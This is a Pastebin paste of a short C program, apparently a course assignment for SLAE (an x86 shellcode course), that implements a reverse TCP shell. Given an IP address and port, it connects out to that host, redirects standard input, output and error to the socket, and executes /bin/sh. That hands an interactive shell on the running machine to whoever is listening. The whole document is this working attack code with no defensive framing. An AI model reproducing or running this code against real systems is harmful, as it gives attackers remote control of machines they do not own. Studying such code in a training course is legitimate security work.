Guest User

Untitled

a guest
Jan 16th, 2018
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.31 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <sys/socket.h>
  5. #include <sys/types.h>
  6. #include <netinet/in.h>
  7. #include <arpa/inet.h>
  8. #include <error.h>
  9.  
  10. /*
  11.  
  12. Id: SLAE -1107
  13.  
  14. SLAE Intel x86
  15.  
  16. Basic reverse shell implementation in C.
  17.  
  18. Assignment #2
  19. Create Shell_Reverse_TCP shellcode
  20. - Reverse connects to configured IP and port
  21. - Execs shell on incoming connection
  22. The IP and port number should be easily configurable
  23.  
  24. */
  25.  
  26. void reverse_shell(char *ip_address, int port)
  27. {
  28. int s;
  29. char *sc[] = { "/bin/sh", 0 };
  30. struct sockaddr_in server;
  31.  
  32. s = socket(AF_INET, SOCK_STREAM, 0);
  33.  
  34. server.sin_family = AF_INET;
  35. server.sin_addr.s_addr = inet_addr(ip_address);
  36. server.sin_port = htons(port);
  37.  
  38. //int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
  39. int conn = connect(s, (struct sockaddr *) &server, sizeof(struct sockaddr_in));
  40. if (conn == ERROR) {
  41. printf("[*] could not connect to %s \n", ip_address);
  42. exit(-1);
  43. }
  44. dup2(s, 0);
  45. dup2(s, 1);
  46. dup2(s, 2);
  47.  
  48. execve(sc[0], &sc[0], NULL);
  49. }
  50.  
  51.  
  52. int main(int argc, char *argv[])
  53. {
  54. if (argc < 3)
  55. printf("Please provide an IP address and port number.\n");
  56.  
  57. if (argc == 3) {
  58. char *ip_address = argv[1];
  59. int port = atoi(argv[2]);
  60.  
  61. printf("[*] connecting to %s on port %d \n", ip_address, port);
  62. reverse_shell(ip_address, port);
  63. }
  64. return 0;
  65. }
Add Comment
Please, Sign In to add comment